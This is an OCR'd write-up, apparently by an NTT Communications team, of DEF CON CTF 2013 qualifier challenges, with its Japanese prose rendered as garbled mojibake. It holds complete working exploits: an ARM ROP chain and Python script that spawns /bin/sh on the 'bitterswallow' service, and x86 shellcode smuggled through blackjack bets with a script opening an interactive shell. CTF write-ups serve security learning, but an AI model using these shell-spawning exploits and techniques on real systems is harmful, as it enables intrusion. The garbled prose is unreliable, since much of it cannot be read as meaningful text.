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183F =4 [ 51F -4 [POF2L L |[HAF I L] 40F— 1
114F -1 |[SEE NI EFTNIY| 307F —4 [HZEIN

B 14 SRR

FEOMDIA> b

48 5D L (FWR. BRI (FREBE DDONH D EVWSHETY . BEZEAICTSD
ZEZHIXTONT . R (TR TR DR (IABNIER TROBEICER I D LEE
BEEVWSERMAHDE UL, T, BERZREX TRINICES ZID25(E #I<T
EERNRVWEBIICLTOIRENSDFT, TDMT@E. I>FT X MORRICFEZEEUD
<EDTESHDEFEAN, BRBISP/VTEBCORBVNABEUDHDLDIBIRETET DD
Tl EVWSEREHDFHLUE.
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BRs

RE(IC, SERIDANRY M DRRRZITV. REECEITTERZENEXLUZ. 5
ElEHHTOHE T LIEN, BREZRDEBEERED 50 MIUAICS > IA1>FTBIENTEX
UTz. 3 FELIAOARELSZBRCHBITTOELM. AZ/N—m5(F [RECF! ] &0
SEBHECATVWEY., SBREEF1IUFTAI>ZT7EULTDRES. NTT Com J)L—
TORMiNZEBREF1IUT A ERTHS LD, [team enul EUTCTFI(ICFv
L2 U TNETENWERNET,

15 [DEFCON CTF] [CHkATE Tteam enul DAIIN—ERFIY TI=s

NTT Communications Corporation h
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6 RIREfFER

B&IC. A>T AP TRRICEBESNTZO < DONDOFEEICDNT [team enul OfFEE
MR UET, CCCRBLIETOTSLAPIYY RE. DT A MRICHESAICHREL
EDZEHFIT. A>T APRCAWVNZEDER—TRVMEENH D, FEERCHE=N
ERIBDEE (IR DEDN DD HBENHDTIDTIT THEAIZE,.

fRSH 1 0x41414141 (1 58) MEEE  NTTEFa7TSv hIJA— LK 1848 %KEA
RS 2 ¥xff¥xed¥xcc (2 /) MEEEH  NTTEF27TS5wv NIJA— LHAEPR B4 55
fi#55% 3 1 gnireenigne (2 /) REE NTT =25 —>3a>X Bl %

fi#55% 4 : gnireenigne (4 /=) BREZE NTTF1 775y NIA— LW K —%

fi#5t 5 : OMGACM (1 =) REE NTTF2177T5 Y b A — LT &K —5H

fi#5t 6 : OMGACM (3 =) BREE CNTT JLt+F21VUF+ PH KiE

#5507 : 3dub (4 =) fREE NTT O=Z21 =45 —>3>X fgfg i

75 8 : 3dub (5 R) REE CNTT JLtEF1 U5+ FH K

III:T_—é: %ng;?sua?x: it_ié)Qg’Cé)hriF;(())?; i—(l):J, Tokyo ﬂ'l'TCommunicétions E]ﬂf’ﬁlﬂglbﬂﬂ'ﬁm’.‘if
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RS 1 : 0x41414141 (1 &)

REE  NTTEF21 7T Sy bIA — LT 1878 5K

R

bitterswallow

bitterswallow.shallweplayaga.me:6492

http://assets-2013.legitbs.net/liabilities/bs

i

CDREEIL T0x41414141 (exploitation) | EWS v ILNSDHET. CTF %
EREIFICABESNIZE—DRBET U, MEICIE. HDESHT (RAAMER=K) & &
DT 7AIAD URL BEEEHENTWNET, CHUIARIERSTTEDT — /) \DfESEEZEZENTY S
S ECHBDTST (TD7AILTHDIENSN) ZHRAHEE. EWSHEIWNR CTF OHRE
RARCRIDTWET . Ffeo URLED T 7 AILIERSETERITESNTWLWD Y —/)\T 0TS
LERURTI7ZAILTHD., BEZES LETOES FELTEZBNTWVWDREDTT,

FI. EDHARI nc OV RTEBLTHFT . ERERICESNIEL AR XICHU
TERXEANZRUTHFETH, AZITOTVDIONKIIDMNDFERA (TIRXFHNAN) .

. . Global ICT Part
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Inngatie_ Renamjsr;amqfs:

100-8019, Japan o
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$ nc bitterswallow.shallweplayaga.me 6492

Welcome to the sums.
Are you ready? (y/n): n
$ nc bitterswallow.shallweplayaga.me 6492

Welcome to the sums.
Are you ready? (y/n): y
a

$ nc bitterswallow.shallweplayaga.me 6492

Welcome to the sums.

Are you ready? (y/n): y
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAA..

Fie, J7AILESO>O—RUTCfile O RTHRELTHDE. TOIT71ILIE
32-bit ARM 7—FFOF v D ELF FERDEIT I 7AILTHDZENMHMNDET,

bs: ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked
(uses shared libs), for GNU/Linux 2.6.26

RIS, MESsZIRT Ieb(CHET7 > TS0 )\ S&ED TERITI 7 1)L Z
WBOHFET, KFEHNVRMURE UTE, fork O—/NERD>THED. —@D DYHURZR X T2
BIFTFRISTRIEMUO— RDESIT get_meta() & handle_checks() & WS BN E(C
MENDIL—TYIEAFED F T,

NTT Communications Corporation
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int £f()
{
do {
get_meta();
} while (handle _checks());
}

ZZT. A—YNSDOANIIRCEIT D TFEED 3 DOUE(TEHULE I, (recv D5 1
B8 AN/I\y T7. 825 eRAANTAXELEY)

(1) recv(ALIBRIERID, 1) -+« get_meta()HMSDFEVH UL
(2) recv(H1 X, 4) -+« get_meta()HMSDFEVH UL
(3) recv(AHDFT—4, X)) -+ - - handle_checks)HSDIEUH L

get_meta()T. [UEREEID] & [HAX] EVWDSEHDEEZI-THNSZIFERD
(1)(2). N B5DfEH handle_checks()(CEENET . D&, handle_checks()T. &
B IANT—5] DfEED A Z)\A ST I—NSFZITED (3). BEINIUIERIES
ID (CXS 9 DIBEER (B4 72/ \w 2 21 B8%) MIFENANT —F (T T DEENTHON
F9,

ANT =B ERAIY T LEDI\Y T7 [LRFESNDDT. 2)THARERXMEZI—TH'HE
HBTENEB) TRV INY IT7A—)\-TO—-TESESTI. LML, Q)DERICFT
W OIMTONTVNDIZE 1024 ZitBX 2fE(E 1024 (CESWMI SN TLEWVET, T,
get_meta()H'. HDIFEDUIRRIEDIETERFDIMBDOBILDIEER & (FRRDEBE LD
CECRfAEFET. BANIICIE. COESTROEBUI—ROLDC, -5 AhEn
A XICRAU. recv BMTHONRL. KEEDF TV IHMTOHONIR. FEEATHONR
L EVWDEWNWSSDDERT,

. . Global ICT Part
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get_meta() {
switch (JAIEES%R ID) {

case 0x19:
vl = "NATA';
break;
case Ox1A:
vl = "EGUB';
goto LABEL;
case Ox1B:
vl = '61LF';
break;

¥
if (recv (11X, 2) 1= -1)
{
if ( 14X > 1024 )
HA4X = 1024;
LABEL :
v2 = vl;

}

CDEE, A XPKRPEULIRBEED EFIKDE T, =5IC. get_meta()&
handle_checks() (& EBS5EBR UREE fIONSEERRAECHEEN BB THDZH. TNS
DT L —AGFAETD ETERDET., UEKD. F£9 get_meta() =
handle_checks()Z2FEiTEHE. RICBU get_metaOMIFEENTZ &= (. RBALDY A X
(C handle_checks() THIBcN=I = Z2ERD CENTENIE, RD handle_checks() T
DAHNFT =D recy T\ I7A—/)\—-TJO—-TED0REENSHDET,

LWL CDHCE. COERDEN. HIEECESATERCEFTCESRIINER
DFEBA. EDHBRITZOFIETHEEICEITUTCHDIE. COERDEHH
handle_checks() CTHIFEENTLVRWZHMN, A XF0DEFERODTUEVEY,
DERDERMATCONZRANTHD & ZIREEN G ERRZI&NT D720/ Ny T 7D

NTT Communications Corporation o
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REZBI\A RMTHDIZENDMDFLUE. Lo T COERDEDETTETAD L S/RIE
BER(CXIIE I DUIERIEN ID Z3&IRL. H'D. CDERDEPDDEZTDAST T DILIR
ANPRBEERDFTT, W DON DRI ZFNTZET S, sha512() &LV DIERGEN
TDROIRFHEFBIZTZENOMNDFE LU, Fleo ANT—HDEGEL(CANTZEDT
MEHDFEATULR.

FEHBE. FBYID get_meta() T sha512()(CxET DAUIBEFEL ID ZIBEL. ff() =
handle_checks() = ff()Z#F & (C. BUERITENSD get_meta() T LECDIFKRIRIER]
H=EIBEITDE. RD handle_checks ORI TIA—HANICKDRIYI)\W T 7 A —)\—
JO—ZRESBDIIENTE, COBRBDRERDT7 RLRAZIREETEFI .. U EOEMHZH
7=z U Oxdeadbeef (CBE I DR DRANZIERKR L TT/\wHTEITLZTOLRICEXT
HDE. TERDKDCEBRICHENEND MR TETELUZ. (7&d. ARM TIELSB
MOV F7EN3DT Oxdeadbee Te] &xDFF - - -, )

(gdb) r

Starting program: /root/tmp/bs

[New process 11294]

400 32 36415342

80d9 ed4dfe5a 45475542

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 11294]

@xdeadbeee in ?? ()

NT RO HHHINEINIZIZsd. XEY EOFEBDBRIOI— RZEETI DI ENH
EKBDLDCRDFLURZ. ROBERF. BONERUZUE (BEANICES T)LINV ROE
17) Z#27OCRATHhEZ2ETY, CCC O—RIFEAGE#ULESTHDZDT. JI—R
BAAZITVWET, BENICE ret2libc Z1TWLWVZWTI M, libc dO— REF7 RLAMNDH
SIRVDTRISHDHEETEDY RLREU—TSHINENHDET. 125, ASLR (FH
THOZLDITIN, fork B—/VIRDOTERERERRNCH., U—DTSEBT RLRAFE
DOFEA. (O—/BBEBESLZON. BRLEEMN 1 ERTEDDHRLEN. ) XEY

NTT Communications Corporation g—
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U—D(ERESIREENEITI 7 A IILARICHFEE VRO ZIR UCHER. TEcOBESnFIA
TEESTHDIENDMDFELUE.

int send_data(int fd, int addr, int size)

CNUE. BIEfd A\ Bl¥ addr TEEULZAEUDEZ. 51¥ size IZITESTIADELT
HDDT. TNENIC. ERPDYTY bF 4 XD VT (4 THDEHER). J—THIRA
EUVRLA, U=T3235A4X, ZEEEIDZET. COTOTCRDAEY DEBDEH
DfEZTY NI—TBUICBDTENTETT,

722U, ARM TEIBREBADBIENL ZXFEU(RO - R3)E7RD>TWDTzeh. x86 DK
SNy T A-/N=TJ0O0—-LERCEIHERIY IO ENTEFEA. 2T B
BT R[5z L RY(CO—- RITDBENGD. TNZKIC ROP TENZITOHE
NHDET,

T T, ABEEICFHAETEE S/ gadget &#/\AFURNTEHEULEI . gadget KEDHIi
B s &N 5%, LDMFD. LDR. BX. BLX. MOV @mEwixEZzRLEL. BRDIFE
gadget Z/\XILD KD (C EFHBAHEHLETENOEMEZITD I— RZEDFT, &R,
TED 3 DD gadget ZHEAENDE. 5l#Zz0O— RUTHSENMICS Y > TEEdI—R
ZEDFELURL. (BB, COBEFRDOMDTz gadget PIXRICKD TREDIEDITRDE
9, B2 EERIEMNINEL DEMGRT— RO RO DIMEULNEEA,. )

NTT Communications Corporation Global ICT Partner
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Gadgetl : R6, R7, R8 (81~35|#&Lir3ME) #0O0—RKR
.text:00019CCC LDMFD  SP!, {R4-R9,R11,PC}

Gadget2 : R3 (MRDIRD Gadget D7 RL X)ZO—R
.fini:@E01E3F8 LDMFD  SP!, {R3,PC}

Gadget3 : RO - R2 [CEE 1 ~35|HEO—R

.text:0001E3C8 MoV RO, R6 = ZF15|%
.text:0001E3CC MoV R1, R7 = 5E25|%
.text:0001E3D0 MoV R2, R8 = ZE35|%
.text:0001E3D4 ADD R4, R4, #1

.text:0001E3D8 BLX R3

RIS, COO—RZEETSEDTHD ROPRAO— REMEHIITEFRI ., 97205, ki
DI—RHBEUEXDCERITEND LD, ATV IDYERREZ/EDFT, 2T,
TRORDOLDS(HERLEF L. "Gadgetdl(d. RHvIZHET D gadget ZRULET,
(Gadget3 (FRF WV IZHE URWCT EITER) FIo. "AAAA" ETED TUL\DERD (FFIAE
NRVDTERD 4 /)1 b TREESDFEE A

ROPARAO—K (RHYYD) O—KRELSRS

Gadget 1 | “AAAA” R4
“AAAA" R5
0x4 R6; fd; 56 1 5]#%
OXXXXXXXXX R7;, U—=0%7 RLX; 56 2 5|
OXYYYYYYYY R8; U—UHAX; % 3 5l
“AAAA" RS
“AAAA" R11
Ox0001E3F8 PC; Gadget 2 D77 kL X

Gadget 2 | 0xO001DSFC R3; send_data()?7” KL X
0x0001E3C8 PC; Gadget 37 RL-X

III:T_—é: %ng;?sua?x: it_lé)Qg’Cé)hriF;(())?; I—(I):J, Tokyo ﬂ'l'TCommunicétions E]ﬂf{ﬁlﬂgﬁbﬂa&m’.‘if
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CNT.got 5 libc D7 RLAWNU =T TEBDT libc DRFEIHNTERZSTI N, [
NdDFELUIZ. ARM D ABI TIFEBIFUH URICRED 77 RLANES LR L X~(CO—
R, BERTRICZDY RLRICRD EVWDHEIENGDET. Ko T BEEIFUHE UAT
(C. TODREEDRICHFEUH T gadget(B UL FREE) D7 RL RXZHS5H U LR L RS
CO—RUTHEBENSDDFIT, UM UL, SCTREDODM LR LZRAAICO—-RZTD
gadget (2T, RE(C LR [CRATUE DB ZEMTAIZE(CZDIRD gadget (JEFH
TER (20E U BEzER CHORT U9 EWSRIENSGDET., (ad. EET
KINFFEDERH T THERCENTEET)

CORBIREICED., ret2libc A TERE UTEZDEDOEENTETIEMNMNERTEZED
(CIAMD DT, S RAFAOd—-)LZEEROP THEANACEICLEFURE. UM UL, EfT7 0741

JLIC(E SVC 850 gadget (3B 3h, SVC T SHELELRVNTENREUET, T T

HFo MK ERDBFIOEFIRDAEY U —TMA]EE/RDT. gadget ZAEY EHWSHHET
BDTEICULFURZ. XAEUYYU—TUAROP I— RZAWT.got h5E5NTIET RLANSH#
BIEND libc BLDDOMEFZE D MNTF TR L. 2 MB OEFBHIRAEIA A= T
EEIBULEURZ. cNZEFEI7E T STHETL. SVC iz zsHD gadget R UTZ
FER. TiLDBBM/R gadget NRDMDFE LTS,

Gadget S: S AFAJ—)LEMNER
ROM:00046338 SvC %]
ROM:0004633C LDMFD  SP!, {R3,R4,R7,PC}
NTT Communications Corporation g—
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NZAWT, SXAFAO—I)LZPENROP O— RZEMEHIITET, KFEFTUIEA
EUAARA—ZHOREDT— M5, KDREM gadget EGEEICREDIFSNEDTIM
HAERDTHRFEDAETY ) —TIHDROP I— REBIHIBDZEICULET, 2L, &
AFLT—=ILESD R7 AOO— RAFEIT DD UVEBIENRET U,

Gadget 1 : R6, R8 (851, 35| &ERBIE) . r7 (SAFAI—ILES) ZO—R

.text:00019CCC

LDMFD

SP!, {R4-R9,R11,PC}

Gadget 2 : R3 (MRMDRD Gadget D7 RL-RA)ZEO—K

Gadget S: S AFAI—)LEMER

ROM:00046338
ROM:0004633C

SvC

LDMFD

0

SP!, {R3,R4,R7,PC}

.fini:0001E3F8 LDMFD  SP!, {R3,PC}
Gadget 3:Ro. R2(CE 1. 35|¥ZEO—R
.text:0001E3C8 MOV RO, R6
.text:0001E3CC MOV R1, R7
.text:0001E3D0 MOV R2, R8
.text:0001E3D4 ADD R4, R4, #1
.text:0001E3D8 BLX R3

Gadget 4: R1ZO—R

.text:0001E38C LDMFD  SP!, {R1,PC}

=

5 151#

F351E

F25|E

C T, execve D5|EE U THIAAT B"/bin/sh"MDXFF)%& E D20 THRET DDH\.
EVWSRHIRENZELLET . RIECRFYIDT RLADBTRATEH DIz O— RICXFF
HERLETESBTERUZD., SERATYICXFFNRESTIAL ROP Z{TD/ZHD
gadget ZIEUIAHET, ULHU. ZXIEFEDATUS > T % strings IY> RTRLUTHD
ERDBNFIINEENTLZDT, TOF RLREBIFSRIDE(CIDFERUELU,

NTT Communications Corporation
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo

100-8019, Japan
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tEOO—-RZFAHLUT. execve(”/bin/sh”, 0, 0)ZMINZED ROP R O— R(34l
ZIETFERDKIDIENET. T, getuid (F.got BBESNTZ getuid()BEEID 7 RL-X
T, BCU—DURTZRLANDESE U TE>DTWVET,

Gadget ROPARO—Fk (RFYY) O—KRELZRH

Gadget 1 | “"AAAA” R4

“AAAA” R5

getuid + 0x79ce4 R6; “/bin/sh”; 25 1 5|%&

Oxb R7; A LAO—-ILES

0x0 R8; 55 3 5|

“AAAA” R9

“AAAA” R11

0x0001E3F8 PC; Gadget 2 D77 RL-X
Gadget 2 | Ox0001E38C R3; Gadget 4

0x0001E3C8 PC; Gadget 3 D77 ~RL- X
Gadget 4 | Ox0 R1; 852 5|%K

getuid + 0x46338 PC; Gadget S M7 RL-X
Gadget S | “AAAA” R3

“AAAA” R4

“AAAA” R7

0x00019CCC PC; Gadget 1 77 KL-X

BIUEMET. FEROZAFTLAI-IIINEITEND LS (CRSRXTLAO—)LAD ROP AR
AO0— FZEDEHSEFT,

close(®), close(1), dup(4, ©), dup(4, 1), execve("/bin/sh",0,0)

NTT Communications Corporation g
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TR UTEADZ S —/NSKEUERER, > oILTJO>T ML AR A ELVLTROTE
EleORINTd . SIS, "s"ESTIVANY REUTEET DL key" EWVWDSXFIHIN
/5N, KU\ Tcat key” &ExD ETFRDOXFIINESN. CNHAELWI ST EUTRE
SNFULE

The key is: sometimes you just have to suck it up

REIC. FRAULERIUT ha/ELET,

import socket, struct

hostname = 'bitterswallow.shallweplayaga.me'
port = 6492
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((hostname, port))

# "Welcome to the sums.\n"
s.recv(21)

# "Are you ready? (y/n):"
s.recv(22)
s.sendall("y")

# send ID
s.sendall('\x32"') #sha512

# send size
s.sendall(struct.pack("H", 0x400))

# send input data
s.sendall("A" * Ox400) # size will be 80d9

NTT Communications Corporation o
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# recv result data
s.recv(64)

# "Would you like to sum another?"
s.recv(38)

s.sendall("y")

# send ID
s.sendall('\xla")

# in executable

gadgetl = Ox19ccc
gadget2 = Ox1e3f8
gadget3 = Ox1e3c8
gadget4 = 0x1e38c

# not in executable

getuid = Oxb6el6070 # address of getuid()

gadgetS = getuid + Ox46338

bin_sh = getuid + 0x79ce4 # address of "/bin/sh"

rop = ''.join([
# close(0Q)
"AAAA",
"AAAA",
struct.pack("I", @), # fd
struct.pack("I", 6), # syscall num
"AAAA",
"AAAA",
"AAAA",
struct.pack("I", gadget2),
struct.pack("I", gadgetS),
struct.pack("I", gadget3),
"AAAA',
"AAAA',
"AAAA',
struct.pack("I", gadgetl),
# close(1)
"AAAA',

NTT Communications Corporation o
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"AAAA',
struct.pack("I",
struct.pack("I",
"AAAA',

"AAAA',

"AAAA',
struct.pack("I",
struct.pack("I",
struct.pack("I",
"AAAA',

"AAAA',

"AAAA',
struct.pack("I",
# dup2(4,0)
"AAAA',

"AAAA',
struct.pack("I",
struct.pack("I",
"AAAA",

1), # fd

6), # syscall num

gadget2),
gadgets),
gadget3),

gadgetl),

4), # fd
ox3f),

# syscall num

"AAAA",

"AAAA",

struct.pack("I", gadget2),
struct.pack("I", gadget4d),
struct.pack("I", gadget3),
struct.pack("I", @), # fd
struct.pack("I", gadgetS),
"AAAA",

"AAAA",

"AAAA",

struct.pack("I", gadgetl),
# dup2(4.1)

"AAAA',

"AAAA',

struct.pack("I", 4), # fd
struct.pack("I", ox3f), # syscall num

"AAAA',
"AAAA',
"AAAA',
struct.pack("I",

gadget2),

.

NTT Communications Corporation

. Global ICT Part
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo MT T Communications Inngatie_ Renamjsr;amqfs:
100-8019, Japan T




struct.pack("I", gadget4d),
struct.pack("I", gadget3),
struct.pack("I", 1), # fd
struct.pack("I", gadgetS),
"AAAA',

"AAAA',

"AAAA',

struct.pack("I", gadgetl),
# execve("/bin/sh",0,0)
"AAAA',

"AAAA',

struct.pack("I", bin_sh),

# /bin/sh
struct.pack("I", Oxb), # syscall num

struct.pack("I", @), # 3rd arg

"AAAA",
"AAAA",
struct.pack("I", gadget2),
struct.pack("I", gadget4),
struct.pack("I", gadget3),

struct.pack("I", @), # 2nd arg

struct.pack("I", gadgetS),
"AAAA",
"AAAA",
"AAAA",
struct.pack("I", gadgetl),

D

s.sendall("A" * 0x444 + struct.pack("I", gadgetl) + rop + "B" *
0x4000 + "\n")

s.recv(0x4000)
s.sendall("cat key\n")
print s.recv(0x4000)
s.close()

NTT Communications Corporation
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo
100-8019, Japan
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fi#ER 2 1 ¥xff¥xed¥xcc (2 |R)

REE  NTTEF21 7T S5y bIT A — LT &4 5

R

Are you ready to win some $$?

[[server binary]] Running at blackjack.shallweplayaga.me:6789

i

fIRESZ (CdpB[[server binary]]mU > 07%3WD & blackjack EWDS T 7 A ILZBIS TE
FUJz. cnh' blackjack.shallweplayaga.me:6789 TEILW\TULNELSTY ., LUITFIE. Ne
tcat T blackjack.shallweplayaga.me:6789 ([CD/IRWTHIZEDOPODEDTY., (BF(E
H—)IWSDIHE. HRFEI—HFAN)

Got a name?foobar
You have $100

How much would you like to bet (-1 to exit)? 8@
Dealer: X 6

Player: Q K (20)

Hit or Stand (H/S)? S

Dealer hits

Dealer: 8 6 4 (18)

Dealer stands

Dealer: 8 6 4 (18)

You win!

You have $180

How much would you like to bet (-1 to exit)? 80
Dealer: X 9

Player: K J (20)

Hit or Stand (H/S)? S

Dealer hits
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Dealer: 6 9 8 (23)
You win!

(&8%)

CNFERS2TDISY ISV ITY, ZRIZANTDES—LMIREDFT. FI.

Ny NI DEEZAN®. TLAV7—EFEy b (B—RZ2ES—KREKTD) "hRYZ KR (R
ORI THETD) ZBIRTDZETT 1 —F— &L BSTERY hUZEEZ AT,
BIFBDERY bUREZRV. FLRODT—LMNEFUEDFT,

BRERICEFABEDLUT LA LU TVELEMR. WDETEE> TEEDB3RENEN D2
. BEENZT 7 1)L blackjack Zf#tr g B E(CLFELR, £ (I file DN RTI A
—v bR LUET,

blackjack: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dyna
mically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[shal]=0x
91ce984b538346b9ade21e43082bc6073fdfd81c, not stripped

ELF D x86 /{1 FUTT, TN=ZIDATERLTHDE., UTFDIZEM/DMDFELUT,

1. BELEDS — RIERZBIDTIE4 /A NDHTRED. TDIE. BEIDEIES /A1 H
PRREIUTHNE. (Ry hIDEREENZE(ELTE) BHRUT—LERICRED.

2. BB OERY MU n (0~127) . &IFD &E-n A5 winnings (1 3% 1
A R) ([TEmMEN. RENRFIFEREENS$1337 ([CRRDE. TDETINHEET
(>T)LO—R) EULTEITEND,

3. FREEEMN$0 (CRDET—LA—/—,
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COFMERMNSU T TO—F &2 LB ECUELURE.

1.

S T)L—RDI\A NIRRT D. D> 1)Ld— RZBLS winnings N&iN9
BICFE. &/A MEN 0x00~0x7F DEEITHDIBR(FT —AICHDORENSD,
0x80~0xFF MEHE THIDZE(IT —AICEITDIVEN G D EITFET D,
IoSvoSvyvIDT—A%ZiTV\, LTIV I— ROZHFZEHBZIT - LEMZ
EOHRT, S—LADHME L. DSLAITFRZEEFTEDZ—H. ESULTEHTRL
T—LAEBHFEITD. CNICWLTE. >T)LO— ROBmHOBICFEDRL 1 /X
1 b RZEIMITDZETERZENDE TV, ER(C(E 0x50 (push eax) &
OxFC (cld) ZfEo7z, FeJINSS TILI— ROBEZHH&FDE. BRTFH
B&N$0 (CRJDBENNHD2ed. £58 0x50 (Nw hEEES$80 THD) & OxFC
Ry hEEE$4 TEITD) ZED CETHACHIBEDFRHERZHEEL TH <,
E5(C. >1)LO—RZES winnings (CIEMULEHD > 2 (E. FR5E%Z$1337
(CTDMNEBENDDICH. RO —LREZRIZRLTH <,
tES—LEREICHEVLS T)LO— RZES winnings (ML TLWE. REICFH
BEEM$1337 LIRBDEKDIENY hEBEZFAE T D, CNCIDYUE— S T)LZER
/FTED,

UFEUE—- M DILBEADS TILO— RO—HZZHEIFET,

[sc.nasm (nasm sc.nasm T sc Z#4HK) ]

BITS 32

; close(@);close(1l);close(2);

xor eax, eax

xor ebx, ebx

mov al,ox6

int 0x80

inc ebx

mov al,ox6

int ox80

inc ebx
T:T——é: %Tk?gsua?x : |t—I ((:) Eg , C(g)hrilzl(())rdaa;c I—(l)<rL]J , Tokyo MT T Communications E,] ff,fiﬁl - IRSLI::;S:EE Ee:
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mov al,ox6
int 0x80

; dup(sock fd) * 3
mov ebx, [ebp+8]

mov al,41
int ox80
mov al,41
int 0x80
mov al,41
int 0x80
; fork

Xor eax,eax
mov al,ox2
int ox80

; execve("/bin/sh" ,NULL,NULL)
xor eax,eax

push  eax

push  0x68732f2f

push  0x6e69622f

mov ebx,esp
mov ecx,eax
mov edx,eax
mov al,oxb
int ox80

SEALN - RETIS—HNZRAC. 547> hEERBEHFOVYTY b XOUT
S 3EHERUTZ#&. /bin/sh ZiLE 5> T)LI—RTY,

fere. ERICCOS T)LO— R&ERSI winnings [CIB#LED &I E. CNHHRD
HUMEETHDZENMINDET, Tz&X(E "push 0x68732f2f" &L\ DT B D
)\ RFIFREE(E” 0x68,0x2F,0x2F,0x73,0x68" E/XDMDTIH. ZHUEFTART 0x00~
OX7F DEFE TH DIz, TSV IS v IDT—ATES5EHIDINENG D 2R
LTWETY., (L5 0x50 1> OXFC ZfEX DD(FIHMBR B DIEFRDH Th 0. HisEinD
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DFEPTEHDZEIELUCUEDIEHEIFE A, ) ERICDODTHIEDNDDTIN, &
EREBRIND MO TV EELTE. S5EB CTEDIDENRDESNIZIRR T,

ZZT. BT —LEMDERZR(CT D /zd. ERICIEUTDS )LI— REHR
5l winnings (CH&iN 9T D KD (CilAHFE U Tz,

8D 75 90 lea esi,[ebp-0x70]
8D 78 1A lea edi,[eax+0x1la]
31 C9 Xor ecx,ecx

Bl 63 mov cl,0x63

F3 A4 rep movsb

D)L= RAETENDEE(CE. [ebp-0x70](FE=AC AT ENI=%A.
[eax+0x1a]l(EFCDS TILI— ROEEZIELTVWEYT, DED. COST)LO— RAET
ENBE. RICANSNIZZRINCOS TI)LI— ROBEZICOE—EN. ¥HEESEDE
FERITSNDZEITIRDFT ., BEIDIC. FRNEFEAERVWERIMMENEND/ Ny T 7 (.
ANERDS I T-RZRELTCHIFERNE(CRDET,

Tz, LD/ A MIKRRZHD EDNDTIN. CCTERSND TSV ISvv o
DEFREEVEV2EIT. ARD> T)LI— RKOMNRD S — LARBDIERNEZ(C13D
TWLET,

. . Global ICT Part
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COUTEERNICUE— S DILEREBIBEOHITERR UIER O UT MILTFDLSI(C
RrOFEFLIE,

#!/usr/bin/python
import socket
import sys

import telnetlib

sc_as_name = "\x90" + open("sc","rb").read() + "\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("blackjack.shallweplayaga.me",6789))

print sock.recv(1024) # banner

sock.send(sc_as_name) # send name

print sock.recv(1024) # get money info

print sock.recv(1024) # prompt for bet

def recv_until(s, sock):
buf = sock.recv(4096)
while buf.endswith(s) == False:
buf += sock.recv(4096)
return buf

def bet_and_play(num, cmd):
print "==%d(%s)" %(num,cmd)
sock.send("%d\n"%num)
#print sock.recv(1024)
sys.stdout.write(recv_until("? ", sock))
for ch in cmd:
sock.send("%c\n"%ch)
#print sock.recv(1024)
sys.stdout.write(recv_until("? ", sock))

#get money for margin

bet_and play(80,"S") #w
bet_and play(80,"S") #w
bet_and play(4,"HHS") #1
bet_and play(80,"HS") #w

NTT Communications Corporation g—
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bet_and play(80,"S") #w

t#tlea esi, [ebp-0x70]

bet_and_play(115,"H") #1
bet_and_play(117,"HHHS") #w
bet_and_play(112,"HHHH") #1

#junk

bet_and_play(4,"S") #1
bet_and_play(4,"S") #1
bet_and_play(4,"S") #1
bet_and_play(4,"H") #1
bet_and_play(80,"S") #w
bet_and_play(80,"S") #d
bet_and_play(4,"HHH") #1
bet_and_play(4,"HHHS") #1
bet_and_play(80,"HS") #w

#lea edi, [eax+Oxla]

bet_and _play(115,"H") #1
bet_and _play(120,"S") #w
bet_and _play(26,"HS") #w

#junk
bet_and _play(4,"H") #1
bet_and_play(80,"HHS") #d

#xor ecx, ecx
bet_and_play(49,"HS") #w
bet_and_play(55,"HHS") #1

#mov cl, 0Ox63
bet_and play(79,"HHH") #1
bet_and play(99,"HS") #w

#rep movsb
bet_and play(13,"S") #1
bet_and play(92,"S") #1
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#get money until $1337
bet_and_play(127,"S") #w
bet_and_play(1,"HH") #1
bet_and_play(127,"HS") #w
bet_and_play(1,"H") #1
bet_and_play(127,"S") #w
bet_and_play(1,"H") #1
bet_and_play(10,"HHS") #d
bet_and_play(127,"HHS") #w
bet_and_play(1,"H") #1
bet_and_play(1,"S") #1
bet_and_play(1,"HH") #1
bet_and_play(1,"H") #1
bet_and_play(127,"HS") #w
bet_and_play(1,"H") #1
bet_and_play(1,"HHS") #1
bet_and_play(1,"H") #1
bet_and_play(10,"HHS") #d
bet_and_play(127,"HS") #w
bet_and play(1,"H") #1
bet_and _play(1,"H") #1
bet_and_play(1,"HH") #1
bet_and _play(127,"S") #w
bet_and _play(1,"H") #1
bet_and_play(1,"HH") #1
bet_and _play(127-42,"HHS") #w

#exit
sock.send("-1\n")

#got shell

t = telnetlib.Telnet()
t.sock = sock
t.interact()
sock.close()
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CDRIVT hZEEITIBDIET, UTDESOF—ZEISTEF L.

€1y
You have $1252
How much would you like to bet (-1 to exit)? ==85(HHS)
Dealer: X 9
Player: 3 A (14)
Hit or Stand (H/S)? Player: 3 A 8 (12)
Hit or Stand (H/S)? Player: 3 A 8 8 (20)
Hit or Stand (H/S)? Dealer hits
Dealer: 2 9 6 (17)
Dealer stands
Dealer: 2 9 6 (17)
You win!

You have $1337

How much would you like to bet (-1 to exit)?

1s

key

cat key

The key is: Counting cards will get you banned from the casino
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fi#sh 3 : gnireenigne (2 K)

REEZE NTTIZ21=5—>23>X Bl %

R

thyself
usage: ./client 50.16.112.8
DL: http://assets-2013.legitbs.net/liabilities/client

i

UN—RI2ZZFYUZTDEETY . RYIDEETHIN TS ITNEDMNSRNDT,
cEmn<Ezsniz/Nr7rY (dient) &5—/V (50.16.112.8) DEMEZREMTL TLEE

9, client&Ei7Id L H—/NEBEMETZL. IV REZIHMITDTIO>T bHERR
SNF U

$ ./client 50.16.112.8
Welcome to the key server.
? for help.

key-server% ?

ls, cat, id, whoami, pwd, aeslite_encrypt

